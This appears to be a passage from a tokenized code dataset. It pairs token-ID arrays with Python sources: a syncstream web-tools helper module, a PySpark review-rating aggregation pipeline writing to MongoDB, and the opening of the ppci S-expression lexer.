17010,
580,
1275,
376,
29946,
29947,
14195,
4006,
7103,
29908,
13,
9651,
322,
2407,
29889,
7328,
1220,
29941,
29889,
17010,
580,
1275,
376,
15383,
1609,
29908,
13,
308,
1125,
13,
9651,
1162,
3366,
2490,
401,
3108,
353,
376,
2287,
29906,
29906,
29871,
29941,
29925,
29933,
29908,
13,
13,
4706,
565,
313,
13,
9651,
2407,
29889,
7328,
1220,
29896,
29889,
17010,
580,
1275,
376,
29946,
29941,
29909,
2994,
265,
362,
18874,
29908,
13,
9651,
322,
2407,
29889,
7328,
1220,
29906,
29889,
17010,
580,
1275,
376,
2499,
29894,
579,
265,
29908,
13,
9651,
322,
2407,
29889,
7328,
1220,
29941,
29889,
17010,
580,
1275,
376,
15383,
1609,
29908,
13,
308,
1125,
13,
9651,
1162,
3366,
2490,
401,
3108,
353,
376,
2287,
29906,
29946,
29871,
29900,
29519,
29908,
13,
13,
4706,
565,
318,
558,
29876,
1275,
376,
29896,
29900,
29900,
29896,
29900,
29953,
29947,
29955,
29945,
29947,
29906,
1115,
13,
9651,
1162,
3366,
2490,
401,
3108,
353,
376,
2287,
29906,
29906,
29871,
29946,
5850,
29908,
13,
13,
4706,
565,
318,
558,
29876,
297,
518,
13,
9651,
376,
29896,
29900,
29900,
29896,
29900,
29953,
29947,
29955,
29900,
29900,
29941,
613,
29871,
396,
5012,
29906,
29941,
29953,
29903,
29990,
1599,
5012,
29906,
29941,
29947,
29903,
29990,
584,
2379,
271,
274,
29892,
29871,
29906,
29900,
29906,
624,
5569,
29952,
9321,
29892,
29520,
13,
9651,
376,
29906,
29900,
29900,
29900,
29900,
29896,
29947,
29955,
29947,
29900,
29946,
29896,
613,
29871,
396,
5012,
29906,
29946,
29900,
29931,
29965,
1599,
5012,
29906,
29946,
29947,
29931,
29965,
584,
2379,
271,
29871,
29906,
29892,
29871,
29955,
29900,
4624,
11335,
22850,
29892,
2178,
296,
265,
29892,
29520,
13,
9651,
376,
29896,
29900,
29900,
29900,
29941,
29900,
29941,
29946,
29896,
29955,
29941,
29945,
613,
29871,
396,
5012,
29906,
29946,
29947,
29933,
29950,
1599,
5012,
29906,
29946,
29947,
29933,
29954,
584,
29871,
29946,
29900,
29909,
11554,
292,
744,
9321,
29892,
29520,
13,
9651,
376,
29896,
29900,
29900,
29896,
29900,
29953,
29947,
29941,
29945,
29896,
29955,
613,
29871,
396,
5012,
29941,
29929,
29954,
29956,
1599,
5012,
29941,
29929,
7210,
584,
2379,
271,
29871,
29896,
29892,
29871,
29941,
29900,
3929,
23717,
9621,
22850,
29892,
341,
860,
280,
957,
29892,
29520,
13,
4706,
4514,
29901,
13,
9651,
1162,
3366,
16044,
29918,
29879,
12981,
602,
3108,
353,
5852,
13,
13,
4706,
565,
318,
558,
29876,
297,
518,
13,
9651,
376,
29896,
29900,
29900,
29900,
29941,
29906,
29906,
29945,
29953,
29929,
29947,
29900,
613,
29871,
396,
5012,
29896,
29896,
29934,
29999,
1599,
5012,
29896,
29896,
13207,
584,
29871,
29896,
29896,
29906,
7646,
23841,
29892,
29520,
13,
9651,
376,
29896,
29900,
29900,
29900,
29941,
29900,
29941,
29953,
29906,
29906,
29929,
29955,
613,
29871,
396,
5012,
29906,
29941,
29896,
26124,
1599,
5012,
29906,
29941,
29896,
29931,
29950,
584,
29871,
29946,
29906,
29900,
29909,
624,
25151,
9321,
29892,
8991,
1460,
29131,
29892,
29520,
13,
9651,
376,
29896,
29900,
29900,
29896,
29900,
29953,
29947,
29945,
29906,
29941,
29929,
613,
29871,
396,
5012,
29906,
29946,
29900,
29965,
29984,
1599,
5012,
29906,
29946,
29947,
29965,
29984,
584,
450,
20768,
793,
29892,
350,
331,
18419,
22850,
29892,
838,
29894,
579,
265,
29892,
29520,
13,
9651,
376,
29896,
29900,
29900,
29900,
29941,
29900,
29941,
29906,
29941,
29900,
29953,
29955,
613,
29871,
396,
5012,
29906,
29906,
29896,
29954,
29999,
1599,
5012,
29906,
29941,
29896,
29928,
29954,
584,
29871,
29906,
29900,
5057,
2671,
9321,
29892,
29520,
13,
9651,
376,
29896,
29900,
29900,
29900,
29941,
29900,
29941,
29900,
29896,
29955,
29953,
29955,
613,
29871,
396,
5012,
29941,
29929,
7818,
1599,
5012,
29906,
29941,
29953,
29956,
29954,
584,
29871,
29906,
29900,
678,
342,
21305,
18874,
29892,
341,
860,
280,
957,
29892,
29520,
13,
9651,
376,
29896,
29900,
29900,
29955,
29896,
29896,
29945,
29946,
29945,
29953,
29941,
613,
29871,
396,
5012,
29896,
29941,
7210,
1599,
5012,
29896,
29941,
29928,
29999,
584,
2379,
271,
319,
29205,
450,
383,
13609,
17765,
29892,
29871,
29906,
29941,
4088,
7103,
29892,
29520,
13,
9651,
376,
29896,
29900,
29900,
29896,
29900,
29953,
29955,
29941,
29945,
29906,
29946,
613,
29871,
396,
5012,
29906,
29906,
29906,
19558,
1599,
5012,
29906,
29906,
29896,
29933,
29954,
584,
2379,
271,
319,
29205,
29892,
29871,
29945,
29900,
29947,
360,
3096,
969,
9321,
29892,
2178,
342,
929,
29892,
29520,
13,
9651,
376,
29896,
29900,
29900,
29900,
29941,
29900,
29941,
29946,
29906,
29955,
29947,
29945,
613,
29871,
396,
5012,
29906,
29896,
29955,
29954,
29999,
1599,
5012,
29906,
29896,
29953,
2190,
584,
29871,
29906,
29896,
29896,
2216,
1259,
3391,
9321,
29892,
1706,
898,
265,
29892,
29520,
13,
9651,
376,
29896,
29900,
29900,
29896,
29900,
29953,
29955,
29947,
29929,
29906,
29906,
613,
29871,
396,
5012,
29906,
29906,
29896,
29967,
29950,
1599,
5012,
29896,
29896,
15488,
584,
29871,
29896,
29900,
624,
5122,
29952,
29879,
23186,
29892,
2178,
342,
929,
29892,
29520,
13,
9651,
376,
29896,
29900,
29900,
29900,
29941,
29900,
29906,
29929,
29955,
29906,
29953,
29906,
613,
29871,
396,
5012,
29906,
29946,
29947,
12972,
1599,
5012,
29906,
29941,
29947,
13079,
584,
1632,
618,
383,
10102,
2379,
271,
29892,
29871,
29929,
29900,
1085,
29880,
22187,
9321,
29892,
29520,
13,
9651,
376,
29896,
29900,
29900,
29900,
29941,
29900,
29941,
29953,
29900,
29896,
29929,
29953,
613,
29871,
396,
5012,
29906,
29946,
29947,
29984,
29954,
1599,
5012,
29906,
29941,
29947,
29984,
29990,
584,
3824,
383,
10102,
29892,
29871,
29896,
29896,
29953,
29906,
4517,
9321,
29892,
838,
29894,
579,
265,
29892,
29520,
13,
9651,
376,
29896,
29900,
29900,
29955,
29896,
29896,
29945,
29953,
29947,
29946,
29945,
613,
29871,
396,
5012,
29896,
29941,
29909,
29999,
1599,
5012,
29906,
29941,
29953,
29933,
29967,
584,
29871,
29941,
29933,
4644,
7103,
29892,
29520,
13,
4706,
4514,
29901,
13,
9651,
1162,
3366,
16044,
29918,
29879,
12981,
602,
3108,
353,
7700,
13,
13,
4706,
736,
1162,
13,
2
] |
syncstream/webtools.py | cainmagi/sync-stream | 0 | 91230 | <filename>syncstream/webtools.py
#!python
# -*- coding: UTF-8 -*-
'''
################################################################
# Tools used for web connections and services.
# @ Sync-stream
# Produced by
# <NAME> @ <EMAIL>,
# <EMAIL>.
# Requirements: (Pay attention to version)
# python 3.6+
# fasteners 0.16+
# This module contains the basic tools for the host module,
# and would be only used by the host module.
################################################################
'''
import sys
import types
import urllib3
class StdoutWrapper:
'''A wrapper for ensuring that the stdout is always directed to the
same position.
'''
def __init__(self):
self.__stdout = sys.stdout
self.__stderr = sys.stderr
self.__stdout_ = None
self.__stderr_ = None
def __enter__(self):
self.__stdout_ = sys.stdout
self.__stderr_ = sys.stderr
sys.stdout = self.__stdout
sys.stderr = self.__stderr
return
def __exit__(self, exc_type: type, exc_value: Exception, exc_traceback: types.TracebackType) -> None:
sys.stdout = self.__stdout_
sys.stderr = self.__stderr_
class SafePoolManager(urllib3.PoolManager):
'''A wrapped urllib3.PoolManager with context supported.
This is a private class. Should not be used by users.
'''
def __enter__(self):
return self
def __exit__(self, exc_type: type, exc_value: Exception, exc_traceback: types.TracebackType) -> None:
self.clear()
class SafeRequest:
'''A wrapper for providing context for the urllib3.HTTPResponse.
This is a private class. Should not be used by users.
'''
def __init__(self, request: urllib3.HTTPResponse) -> None:
self.request = request
def __enter__(self) -> urllib3.HTTPResponse:
return self.request
def __exit__(self, exc_type: type, exc_value: Exception, exc_traceback: types.TracebackType) -> None:
self.request.release_conn()
def clean_http_manager(http: urllib3.HTTPSConnectionPool) -> None:
'''A callback for the finializer, this function would be used for cleaning the http
requests, if the connection does not need to exist.
'''
http.clear()
def close_request_session(sess: urllib3.PoolManager) -> None:
'''A callback for the finializer, this function would be used for cleaning the requests
session, if the connection does not need to exist.
'''
sess.close()
| [
1,
529,
9507,
29958,
16593,
5461,
29914,
2676,
8504,
29889,
2272,
13,
29937,
29991,
4691,
13,
29937,
448,
29930,
29899,
14137,
29901,
18351,
29899,
29947,
448,
29930,
29899,
13,
12008,
13,
13383,
13383,
13383,
13383,
13,
29937,
27564,
1304,
363,
1856,
12368,
322,
5786,
29889,
13,
29937,
732,
317,
2720,
29899,
5461,
13,
29937,
7138,
1133,
491,
13,
29937,
529,
5813,
29958,
732,
529,
26862,
6227,
10202,
13,
29937,
795,
529,
26862,
6227,
15513,
13,
29937,
830,
1548,
1860,
29901,
313,
15467,
8570,
304,
1873,
29897,
13,
29937,
259,
3017,
29871,
29941,
29889,
29953,
29974,
13,
29937,
259,
5172,
264,
414,
29871,
29900,
29889,
29896,
29953,
29974,
13,
29937,
910,
3883,
3743,
278,
6996,
8492,
363,
278,
3495,
3883,
29892,
13,
29937,
322,
723,
367,
871,
1304,
491,
278,
3495,
3883,
29889,
13,
13383,
13383,
13383,
13383,
13,
12008,
13,
13,
5215,
10876,
13,
5215,
4072,
13,
13,
5215,
3142,
1982,
29941,
13,
13,
13,
1990,
624,
29881,
449,
15646,
29901,
13,
1678,
14550,
29909,
14476,
363,
5662,
3864,
393,
278,
27591,
338,
2337,
10624,
304,
278,
13,
1678,
1021,
2602,
29889,
13,
1678,
14550,
13,
1678,
822,
4770,
2344,
12035,
1311,
1125,
13,
4706,
1583,
17255,
25393,
353,
10876,
29889,
25393,
13,
4706,
1583,
17255,
303,
20405,
353,
10876,
29889,
303,
20405,
13,
4706,
1583,
17255,
25393,
29918,
353,
6213,
13,
4706,
1583,
17255,
303,
20405,
29918,
353,
6213,
13,
13,
1678,
822,
4770,
5893,
12035,
1311,
1125,
13,
4706,
1583,
17255,
25393,
29918,
353,
10876,
29889,
25393,
13,
4706,
1583,
17255,
303,
20405,
29918,
353,
10876,
29889,
303,
20405,
13,
4706,
10876,
29889,
25393,
353,
1583,
17255,
25393,
13,
4706,
10876,
29889,
303,
20405,
353,
1583,
17255,
303,
20405,
13,
4706,
736,
13,
13,
1678,
822,
4770,
13322,
12035,
1311,
29892,
5566,
29918,
1853,
29901,
1134,
29892,
5566,
29918,
1767,
29901,
8960,
29892,
5566,
29918,
15003,
1627,
29901,
4072,
29889,
11591,
1627,
1542,
29897,
1599,
6213,
29901,
13,
4706,
10876,
29889,
25393,
353,
1583,
17255,
25393,
29918,
13,
4706,
10876,
29889,
303,
20405,
353,
1583,
17255,
303,
20405,
29918,
13,
13,
13,
1990,
5701,
1725,
11426,
3260,
29898,
2271,
1982,
29941,
29889,
11426,
3260,
1125,
13,
1678,
14550,
29909,
21021,
3142,
1982,
29941,
29889,
11426,
3260,
411,
3030,
6969,
29889,
13,
1678,
910,
338,
263,
2024,
770,
29889,
10575,
451,
367,
1304,
491,
4160,
29889,
13,
1678,
14550,
13,
1678,
822,
4770,
5893,
12035,
1311,
1125,
13,
4706,
736,
1583,
13,
13,
1678,
822,
4770,
13322,
12035,
1311,
29892,
5566,
29918,
1853,
29901,
1134,
29892,
5566,
29918,
1767,
29901,
8960,
29892,
5566,
29918,
15003,
1627,
29901,
4072,
29889,
11591,
1627,
1542,
29897,
1599,
6213,
29901,
13,
4706,
1583,
29889,
8551,
580,
13,
13,
13,
1990,
5701,
1725,
3089,
29901,
13,
1678,
14550,
29909,
14476,
363,
13138,
3030,
363,
278,
3142,
1982,
29941,
29889,
10493,
5103,
29889,
13,
1678,
910,
338,
263,
2024,
770,
29889,
10575,
451,
367,
1304,
491,
4160,
29889,
13,
1678,
14550,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
2009,
29901,
3142,
1982,
29941,
29889,
10493,
5103,
29897,
1599,
6213,
29901,
13,
4706,
1583,
29889,
3827,
353,
2009,
13,
13,
1678,
822,
4770,
5893,
12035,
1311,
29897,
1599,
3142,
1982,
29941,
29889,
10493,
5103,
29901,
13,
4706,
736,
1583,
29889,
3827,
13,
13,
1678,
822,
4770,
13322,
12035,
1311,
29892,
5566,
29918,
1853,
29901,
1134,
29892,
5566,
29918,
1767,
29901,
8960,
29892,
5566,
29918,
15003,
1627,
29901,
4072,
29889,
11591,
1627,
1542,
29897,
1599,
6213,
29901,
13,
4706,
1583,
29889,
3827,
29889,
14096,
29918,
13082,
580,
13,
13,
13,
1753,
5941,
29918,
1124,
29918,
12847,
29898,
1124,
29901,
3142,
1982,
29941,
29889,
10493,
29903,
5350,
11426,
29897,
1599,
6213,
29901,
13,
1678,
14550,
29909,
6939,
363,
278,
1436,
616,
3950,
29892,
445,
740,
723,
367,
1304,
363,
5941,
292,
278,
1732,
13,
1678,
7274,
29892,
565,
278,
3957,
947,
451,
817,
304,
1863,
29889,
13,
1678,
14550,
13,
1678,
1732,
29889,
8551,
580,
13,
13,
13,
1753,
3802,
29918,
3827,
29918,
7924,
29898,
29879,
404,
29901,
3142,
1982,
29941,
29889,
11426,
3260,
29897,
1599,
6213,
29901,
13,
1678,
14550,
29909,
6939,
363,
278,
1436,
616,
3950,
29892,
445,
740,
723,
367,
1304,
363,
5941,
292,
278,
7274,
13,
1678,
4867,
29892,
565,
278,
3957,
947,
451,
817,
304,
1863,
29889,
13,
1678,
14550,
13,
1678,
27937,
29889,
5358,
580,
13,
2
] |
src/spark/context.py | dmitryshendryk/streaming_pipeline | 0 | 190508 | <filename>src/spark/context.py
import logging
import pyspark
import os
from pyspark import SparkConf
from pyspark import SparkContext, SQLContext
from pyspark.sql import SparkSession
import pyspark
from pyspark import SparkConf, SparkContext
from pyspark.sql.window import Window
from pyspark.sql.functions import explode, from_unixtime, row_number, year, month
from src.db.mongodb.db_manager import MongoManager
from config.configurator import Configurator
class AppSparkContext():
def __init__(self, configurator: Configurator):
self.mongo = MongoManager(configurator)
partitions = configurator['clusters']['spark']['partitions']
cores = configurator['clusters']['spark']['cores']
memory = configurator['clusters']['spark']['memory']
logging.info('Initialize Params')
conf = SparkConf()
working_directory = os.path.join(os.getcwd(), 'libs/jars/*')
conf.set('spark.sql.shuffle.partitions', str(partitions))
conf.set("spark.executor.cores", str(cores))
conf.set("spark.executor.memory", str(memory) + 'g')
conf.set("spark.driver.memory", str(memory) + 'g')
conf.set("spark.mongodb.output.uri",
"mongodb://127.0.0.1/mydb.myCollection")
conf.set("spark.mongodb.input.uri",
"mongodb://127.0.0.1/mydb.myCollection")
conf.set("spark.driver.extraClassPath", working_directory)
try:
self.session = SparkSession.builder \
.appName("myApp") \
.config(conf=conf) \
.getOrCreate()
except Exception as e:
logging.info('Session creation failed %s', e)
def process_inquiries(self, review: pyspark.sql.DataFrame, metadata: pyspark.sql.DataFrame) -> None:
logging.info("Start pipeline")
logging.info("Processing")
review_transform_date = review.select('asin', 'overall', 'unixReviewTime').withColumn(
"unixReviewTime", from_unixtime("unixReviewTime"))
review_date_decompose = review_transform_date.withColumn(
"month", month("unixReviewTime")).withColumn("year", year("unixReviewTime"))
metadata_flatten_categories = metadata.select(
'asin', explode('categories')).select('asin', explode('col'))
join_review_metadata = review_date_decompose.join(
metadata_flatten_categories, on=['asin'], how='inner')
groupby_review_metadata = join_review_metadata.groupBy("year", "month", "col").count(
).orderBy('year', 'month', 'count', ascending=False).cache()
patrions = groupby_review_metadata.withColumn(
"rank", row_number().over(self.get_partitions())).cache()
filter_patrions = patrions.filter(self.patrions.rank <= 5).cache()
groupby_review_metadata.unpersist()
result_inner = join_review_metadata.join(
filter_patrions, on=['year', 'month', 'col'], how='inner')
patrions.unpersist()
filter_patrions.unpersist()
result_groupby = result_inner.groupBy('year', 'month', 'col').avg(
'overall').alias('rating').orderBy('year', 'month', ascending=True)
result_groupby.show()
logging.info("Finished")
self.upsert_database(result_groupby, 'mydb', 'myset')
def read_file(self, path: str) -> pyspark.sql.DataFrame:
logging.info("Reading data")
df = self.session.read.json(path)
return df
def save(self, df: pyspark.sql.DataFrame, db: str, collection: str) -> None:
self.mongo.insert_spark_df(df, db, collection)
def stop_spark_context(self):
self.session.stop()
def upsert_database(self, streaming_dataframe: pyspark.sql.DataFrame, db: str, collection: str) -> None:
previous_database = self.mongo.query_spark_df(self.session, db, collection)
if previous_database.take(1):
df = self.drop_duplicates(previous_database, streaming_dataframe)
else:
df = streaming_dataframe
self.save(df, db, collection)
@staticmethod
def drop_duplicates(self, previous_database, streaming_dataframe) -> pyspark.sql.DataFrame:
logging.info("Drop duplicates")
try:
previous_database = previous_database.select('year', 'month', 'col', 'rating')
anti_left_join = previous_database.join(streaming_dataframe, ['year', 'month', 'col'], "leftanti")
distinct_dataframe = anti_left_join.union(streaming_dataframe)
except Exception as e:
logging.error('Drop duplicates error %s', e)
return distinct_dataframe
@staticmethod
def get_partitions() -> None:
windowSpec = Window().partitionBy(['year', 'month']).orderBy('count')
return windowSpec
| [
1,
529,
9507,
29958,
4351,
29914,
12597,
29914,
4703,
29889,
2272,
13,
5215,
12183,
13,
5215,
282,
952,
6378,
13,
5215,
2897,
13,
3166,
282,
952,
6378,
1053,
20814,
16376,
13,
13,
3166,
282,
952,
6378,
1053,
20814,
2677,
29892,
3758,
2677,
13,
3166,
282,
952,
6378,
29889,
2850,
1053,
20814,
7317,
13,
13,
5215,
282,
952,
6378,
13,
3166,
282,
952,
6378,
1053,
20814,
16376,
29892,
20814,
2677,
13,
3166,
282,
952,
6378,
29889,
2850,
29889,
7165,
1053,
18379,
13,
3166,
282,
952,
6378,
29889,
2850,
29889,
12171,
1053,
3902,
356,
29892,
515,
29918,
3909,
486,
603,
29892,
1948,
29918,
4537,
29892,
1629,
29892,
4098,
13,
3166,
4765,
29889,
2585,
29889,
23264,
29889,
2585,
29918,
12847,
1053,
18294,
3260,
13,
3166,
2295,
29889,
2917,
332,
1061,
1053,
12782,
332,
1061,
13,
13,
13,
1990,
2401,
29903,
6378,
2677,
7295,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
17127,
1061,
29901,
12782,
332,
1061,
1125,
13,
4706,
1583,
29889,
29885,
7443,
353,
18294,
3260,
29898,
2917,
332,
1061,
29897,
13,
4706,
23629,
353,
17127,
1061,
1839,
695,
504,
414,
16215,
12597,
16215,
1595,
2187,
2033,
13,
4706,
28337,
353,
17127,
1061,
1839,
695,
504,
414,
16215,
12597,
16215,
29883,
2361,
2033,
13,
4706,
3370,
353,
17127,
1061,
1839,
695,
504,
414,
16215,
12597,
16215,
14834,
2033,
13,
4706,
12183,
29889,
3888,
877,
6644,
6646,
1459,
2232,
1495,
13,
4706,
1970,
353,
20814,
16376,
580,
13,
4706,
1985,
29918,
12322,
353,
2897,
29889,
2084,
29889,
7122,
29898,
359,
29889,
657,
29883,
9970,
3285,
525,
10254,
29914,
29926,
1503,
5515,
1495,
13,
13,
4706,
1970,
29889,
842,
877,
12597,
29889,
2850,
29889,
845,
21897,
29889,
1595,
2187,
742,
851,
29898,
1595,
2187,
876,
13,
4706,
1970,
29889,
842,
703,
12597,
29889,
4258,
3406,
29889,
29883,
2361,
613,
851,
29898,
29883,
2361,
876,
13,
4706,
1970,
29889,
842,
703,
12597,
29889,
4258,
3406,
29889,
14834,
613,
851,
29898,
14834,
29897,
718,
525,
29887,
1495,
13,
4706,
1970,
29889,
842,
703,
12597,
29889,
9465,
29889,
14834,
613,
851,
29898,
14834,
29897,
718,
525,
29887,
1495,
13,
4706,
1970,
29889,
842,
703,
12597,
29889,
23264,
29889,
4905,
29889,
5338,
613,
13,
462,
376,
23264,
597,
29896,
29906,
29955,
29889,
29900,
29889,
29900,
29889,
29896,
29914,
1357,
2585,
29889,
1357,
7196,
1159,
13,
4706,
1970,
29889,
842,
703,
12597,
29889,
23264,
29889,
2080,
29889,
5338,
613,
13,
462,
376,
23264,
597,
29896,
29906,
29955,
29889,
29900,
29889,
29900,
29889,
29896,
29914,
1357,
2585,
29889,
1357,
7196,
1159,
13,
4706,
1970,
29889,
842,
703,
12597,
29889,
9465,
29889,
17833,
2385,
2605,
613,
1985,
29918,
12322,
29897,
13,
13,
4706,
1018,
29901,
13,
9651,
1583,
29889,
7924,
353,
20814,
7317,
29889,
16409,
320,
13,
18884,
869,
932,
1170,
703,
1357,
2052,
1159,
320,
13,
18884,
869,
2917,
29898,
5527,
29922,
5527,
29897,
320,
13,
18884,
869,
657,
2816,
4391,
580,
13,
4706,
5174,
8960,
408,
321,
29901,
13,
9651,
12183,
29889,
3888,
877,
7317,
11265,
5229,
1273,
29879,
742,
321,
29897,
13,
13,
1678,
822,
1889,
29918,
262,
6578,
2722,
29898,
1311,
29892,
9076,
29901,
282,
952,
6378,
29889,
2850,
29889,
17271,
29892,
15562,
29901,
282,
952,
6378,
29889,
2850,
29889,
17271,
29897,
1599,
6213,
29901,
13,
4706,
12183,
29889,
3888,
703,
4763,
16439,
1159,
13,
13,
4706,
12183,
29889,
3888,
703,
7032,
292,
1159,
13,
4706,
9076,
29918,
9067,
29918,
1256,
353,
9076,
29889,
2622,
877,
294,
262,
742,
525,
957,
497,
742,
525,
24538,
1123,
1493,
2481,
2824,
2541,
4409,
29898,
13,
9651,
376,
24538,
1123,
1493,
2481,
613,
515,
29918,
3909,
486,
603,
703,
24538,
1123,
1493,
2481,
5783,
13,
4706,
9076,
29918,
1256,
29918,
311,
19438,
353,
9076,
29918,
9067,
29918,
1256,
29889,
2541,
4409,
29898,
13,
9651,
376,
10874,
613,
4098,
703,
24538,
1123,
1493,
2481,
1159,
467,
2541,
4409,
703,
6360,
613,
1629,
703,
24538,
1123,
1493,
2481,
5783,
13,
4706,
15562,
29918,
1579,
8606,
29918,
20683,
353,
15562,
29889,
2622,
29898,
13,
9651,
525,
294,
262,
742,
3902,
356,
877,
20683,
1495,
467,
2622,
877,
294,
262,
742,
3902,
356,
877,
1054,
8785,
13,
4706,
5988,
29918,
27828,
29918,
19635,
353,
9076,
29918,
1256,
29918,
311,
19438,
29889,
7122,
29898,
13,
9651,
15562,
29918,
1579,
8606,
29918,
20683,
29892,
373,
29922,
1839,
294,
262,
7464,
920,
2433,
3993,
1495,
13,
4706,
2318,
1609,
29918,
27828,
29918,
19635,
353,
5988,
29918,
27828,
29918,
19635,
29889,
2972,
2059,
703,
6360,
613,
376,
10874,
613,
376,
1054,
2564,
2798,
29898,
13,
4706,
13742,
2098,
2059,
877,
6360,
742,
525,
10874,
742,
525,
2798,
742,
12066,
2548,
29922,
8824,
467,
8173,
580,
13,
4706,
22191,
1080,
353,
2318,
1609,
29918,
27828,
29918,
19635,
29889,
2541,
4409,
29898,
13,
9651,
376,
10003,
613,
1948,
29918,
4537,
2141,
957,
29898,
1311,
29889,
657,
29918,
1595,
2187,
3101,
467,
8173,
580,
13,
4706,
4175,
29918,
5031,
29878,
1080,
353,
22191,
1080,
29889,
4572,
29898,
1311,
29889,
5031,
29878,
1080,
29889,
10003,
5277,
29871,
29945,
467,
8173,
580,
13,
4706,
2318,
1609,
29918,
27828,
29918,
19635,
29889,
348,
6774,
391,
580,
13,
4706,
1121,
29918,
3993,
353,
5988,
29918,
27828,
29918,
19635,
29889,
7122,
29898,
13,
9651,
4175,
29918,
5031,
29878,
1080,
29892,
373,
29922,
1839,
6360,
742,
525,
10874,
742,
525,
1054,
7464,
920,
2433,
3993,
1495,
13,
4706,
22191,
1080,
29889,
348,
6774,
391,
580,
13,
4706,
4175,
29918,
5031,
29878,
1080,
29889,
348,
6774,
391,
580,
13,
4706,
1121,
29918,
27789,
353,
1121,
29918,
3993,
29889,
2972,
2059,
877,
6360,
742,
525,
10874,
742,
525,
1054,
2824,
485,
29887,
29898,
13,
9651,
525,
957,
497,
2824,
19973,
877,
29741,
2824,
2098,
2059,
877,
6360,
742,
525,
10874,
742,
12066,
2548,
29922,
5574,
29897,
13,
4706,
1121,
29918,
27789,
29889,
4294,
580,
13,
4706,
12183,
29889,
3888,
703,
12881,
3276,
1159,
13,
4706,
1583,
29889,
14340,
814,
29918,
9803,
29898,
2914,
29918,
27789,
29892,
525,
1357,
2585,
742,
525,
1357,
842,
1495,
13,
13,
1678,
822,
1303,
29918,
1445,
29898,
1311,
29892,
2224,
29901,
851,
29897,
1599,
282,
952,
6378,
29889,
2850,
29889,
17271,
29901,
13,
4706,
12183,
29889,
3888,
703,
6359,
292,
848,
1159,
13,
4706,
4489,
353,
1583,
29889,
7924,
29889,
949,
29889,
3126,
29898,
2084,
29897,
13,
4706,
736,
4489,
13,
13,
1678,
822,
4078,
29898,
1311,
29892,
4489,
29901,
282,
952,
6378,
29889,
2850,
29889,
17271,
29892,
4833,
29901,
851,
29892,
4333,
29901,
851,
29897,
1599,
6213,
29901,
13,
4706,
1583,
29889,
29885,
7443,
29889,
7851,
29918,
12597,
29918,
2176,
29898,
2176,
29892,
4833,
29892,
4333,
29897,
13,
13,
1678,
822,
5040,
29918,
12597,
29918,
4703,
29898,
1311,
1125,
13,
4706,
1583,
29889,
7924,
29889,
9847,
580,
13,
13,
1678,
822,
24081,
814,
29918,
9803,
29898,
1311,
29892,
24820,
29918,
1272,
2557,
29901,
282,
952,
6378,
29889,
2850,
29889,
17271,
29892,
4833,
29901,
851,
29892,
4333,
29901,
851,
29897,
1599,
6213,
29901,
13,
4706,
3517,
29918,
9803,
353,
1583,
29889,
29885,
7443,
29889,
1972,
29918,
12597,
29918,
2176,
29898,
1311,
29889,
7924,
29892,
4833,
29892,
4333,
29897,
13,
13,
4706,
565,
3517,
29918,
9803,
29889,
19730,
29898,
29896,
1125,
13,
9651,
4489,
353,
1583,
29889,
8865,
29918,
20908,
15815,
29898,
24957,
29918,
9803,
29892,
24820,
29918,
1272,
2557,
29897,
13,
13,
4706,
1683,
29901,
13,
9651,
4489,
353,
24820,
29918,
1272,
2557,
13,
13,
4706,
1583,
29889,
7620,
29898,
2176,
29892,
4833,
29892,
4333,
29897,
13,
13,
1678,
732,
7959,
5696,
13,
1678,
822,
5768,
29918,
20908,
15815,
29898,
1311,
29892,
3517,
29918,
9803,
29892,
24820,
29918,
1272,
2557,
29897,
1599,
282,
952,
6378,
29889,
2850,
29889,
17271,
29901,
13,
4706,
12183,
29889,
3888,
703,
15063,
20955,
1159,
13,
13,
4706,
1018,
29901,
13,
13,
9651,
3517,
29918,
9803,
353,
3517,
29918,
9803,
29889,
2622,
877,
6360,
742,
525,
10874,
742,
525,
1054,
742,
525,
29741,
1495,
13,
9651,
9418,
29918,
1563,
29918,
7122,
353,
3517,
29918,
9803,
29889,
7122,
29898,
5461,
292,
29918,
1272,
2557,
29892,
6024,
6360,
742,
525,
10874,
742,
525,
1054,
7464,
376,
1563,
3656,
1159,
13,
9651,
8359,
29918,
1272,
2557,
353,
9418,
29918,
1563,
29918,
7122,
29889,
13094,
29898,
5461,
292,
29918,
1272,
2557,
29897,
13,
13,
4706,
5174,
8960,
408,
321,
29901,
13,
9651,
12183,
29889,
2704,
877,
15063,
20955,
1059,
1273,
29879,
742,
321,
29897,
13,
13,
4706,
736,
8359,
29918,
1272,
2557,
13,
13,
1678,
732,
7959,
5696,
13,
1678,
822,
679,
29918,
1595,
2187,
580,
1599,
6213,
29901,
13,
4706,
3474,
10299,
353,
18379,
2141,
16707,
2059,
18959,
6360,
742,
525,
10874,
2033,
467,
2098,
2059,
877,
2798,
1495,
13,
4706,
736,
3474,
10299,
13,
2
] |
ppci/lang/sexpr.py | windelbouwman/ppci | 161 | 67725 | <reponame>windelbouwman/ppci<filename>ppci/lang/sexpr.py
""" Functionality to tokenize and parse S-expressions.
"""
import io
from .common import SourceLocation
from .tools.handlexer import HandLexerBase
from .tools.recursivedescent import RecursiveDescentParser
__all__ = ("parse_sexpr",)
def tokenize_sexpr(text):
"""Generator that generates tokens for (WASM-compatible) S-expressions.
Would need work to produce tokens suited for e.g. syntax highlighting,
but good enough for now, to make the parser work.
"""
filename = "?"
f = io.StringIO(text)
lexer = SExpressionLexer()
return lexer.tokenize(f, filename)
def create_chunks(f):
""" Create a sequence of chunks """
for row, line in enumerate(f, 1):
yield (row, 1, line)
class SExpressionLexer(HandLexerBase):
""" Lexical scanner for s expressions """
def tokenize(self, f, filename):
chunks = create_chunks(f)
for token in super().tokenize(filename, chunks, self.lex_sexpr):
# print(token)
# Modify some values of tokens:
if token.typ == "string":
token.val = token.val[1:-1] # Strip of '"'
elif token.typ == "word":
if token.val[0] in "-+.01234567890": # maybe a number
try:
if "." in token.val or "e" in token.val.lower():
token.val = float(token.val)
elif token.val.startswith("0x"):
token.val = int(token.val, 16)
else:
token.val = int(token.val)
except ValueError:
pass
yield token
def lex_sexpr(self):
c = self.next_char()
if c is None:
return # EOF
if c == "(":
if self.accept(";"):
self.lex_block_comment()
else:
self.emit("(")
elif c == ";":
if self.accept(";"):
self.lex_line_comment()
else:
self.lex_atom()
elif c == ")":
self.emit(")")
elif c == '"':
self.lex_string()
elif c in " \t\r\n":
self.ignore()
else:
self.lex_atom()
return self.lex_sexpr
def lex_atom(self):
while True:
c = self.next_char()
if c is None:
break
elif c in "() \t\r\n;":
self.backup_char(c)
break
self.emit("word")
def lex_line_comment(self):
""" Eat all characters until end of line """
